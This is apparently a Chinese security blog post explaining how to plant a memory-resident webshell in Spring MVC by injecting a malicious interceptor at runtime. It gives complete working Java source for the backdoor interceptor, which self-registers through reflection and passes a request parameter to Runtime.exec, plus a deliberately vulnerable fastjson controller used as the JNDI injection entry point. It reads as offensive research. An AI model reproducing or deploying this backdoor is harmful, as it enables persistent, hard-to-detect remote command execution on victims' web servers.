针对Spring MVC的Interceptor内存马

1 基础拦截器和调用流程的探索

学习、探索和实现过程很多都基于大佬的文章https://landgrey.me/blog/19/ https://landgrey.me/blog/12/

1.1 基础拦截器

前不久实现cotroller内存马能添加冰蝎代码后,又想到spring mvc的拦截器应该也可以用于注入内存马,目前的关键点在于找到拦截器是如何被触发以及如何动态添加拦截器

首先来写个正常的拦截器TestInterceptor类,并添加xml配置

针对Spring MVC的Interceptor内存马-LMLPHP
针对Spring MVC的Interceptor内存马-LMLPHP

然后启动程序,在访问/home/index,并添加code参数弹个计算器

针对Spring MVC的Interceptor内存马-LMLPHP

1.2 探索拦截器的调用链

断点打在TestInterceptor类中,调试看看调用链

preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

关键点在doDispatch方法,先通过getHandler方法获取了mappedHandler对象

针对Spring MVC的Interceptor内存马-LMLPHP

在后方调用mappedHandler的applyPreHandler方法

针对Spring MVC的Interceptor内存马-LMLPHP

这个方法中就是依次调用每个interceptor实例的preHandle方法,实际上就进入了前面写好的TestInterceptor类的preHandle方法中。
针对Spring MVC的Interceptor内存马-LMLPHP

1.3 探索拦截器是如何被添加的

跟踪mappedHandler的获取过程,先是调用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法

针对Spring MVC的Interceptor内存马-LMLPHP

跟进getHandler方法,这里会遍历this.handlerMappings,获取HandlerMapping的实例,再调用getHandler方法

针对Spring MVC的Interceptor内存马-LMLPHP

这里断点跟进getHandler函数处,会发现实际上调用了org.springframework.web.servlet.handler.AbstractHandlerMapping类中的getHandler方法

针对Spring MVC的Interceptor内存马-LMLPHP

再跟进getHandlerExecutionChain方法,发现其中会遍历adaptedInterceptors这数组,并判断获取的interceptor实例是不是MappedInterceptor类的实例对象,而MappedInterceptor类就是对拦截器HandlerInterceptor接口的实现,所以前面定义的TestInterceptor自然会被加入chain中并返回

针对Spring MVC的Interceptor内存马-LMLPHP

至此,拦截器的加载和调用流程就清楚了, 动态添加拦截器的话,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象的adaptedInterceptors数组中添加恶意interceptor实例对象即可!

那么关键就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象,CTRL+ALT+B找到所有AbstractHandlerMapping的子类,并在beanFactory的beanDefinitionNames中找到它的实例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

针对Spring MVC的Interceptor内存马-LMLPHP

因此可以通过context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入

2 实践

首先用springmvc 写了一个包含fastjson的反序列化漏洞的controller

    @RequestMapping(value = "/postjson", method = RequestMethod.GET)
    public String postJson(HttpServletRequest request){
        return "postjson";
    }

    @RequestMapping(value = "/readjson", method = RequestMethod.POST)
    public String readJson(HttpServletRequest request){
        String jsonStr = request.getParameter("jsonstr");
        System.out.println(jsonStr);  // 在控制台输出jsonStr

        Object obj = JSON.parseObject(jsonStr);
        System.out.println(obj); // 等同于数据操作

        return "readjson";  // 返回一个页面给用户
    }

访问/postjson,并提交payload,而payload会发送到/readjson处,被fastjson反序列化,触发JNDI注入造成内存马的注入。首先开启LDAP和python服务,编译恶意Interceptor类

针对Spring MVC的Interceptor内存马-LMLPHP

恶意Interceptor类源代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
        // 获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 从context中获取AbstractHandlerMapping的实例对象
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        // 反射获取adaptedInterceptors属性
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        // 避免重复添加
        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
                System.out.println("已经添加过TestInterceptor实例了");
                return;
            }
        }
        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环
        adaptedInterceptors.add(aaa);  //  添加全局interceptor
    }

    private TestInterceptor(String aaa){}

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        // 不干扰正常业务逻辑
        if (code != null) {
            java.lang.Runtime.getRuntime().exec(code);
            return true;
        }
        else {
            return true;
        }}}

这里提交两次payload是为了确认:不重复添加interceptor的代码生效了

针对Spring MVC的Interceptor内存马-LMLPHP

针对Spring MVC的Interceptor内存马-LMLPHP

可见Interceptor内存马已经注入了,现在弹个计算器验证一下

针对Spring MVC的Interceptor内存马-LMLPHP

06-08 01:45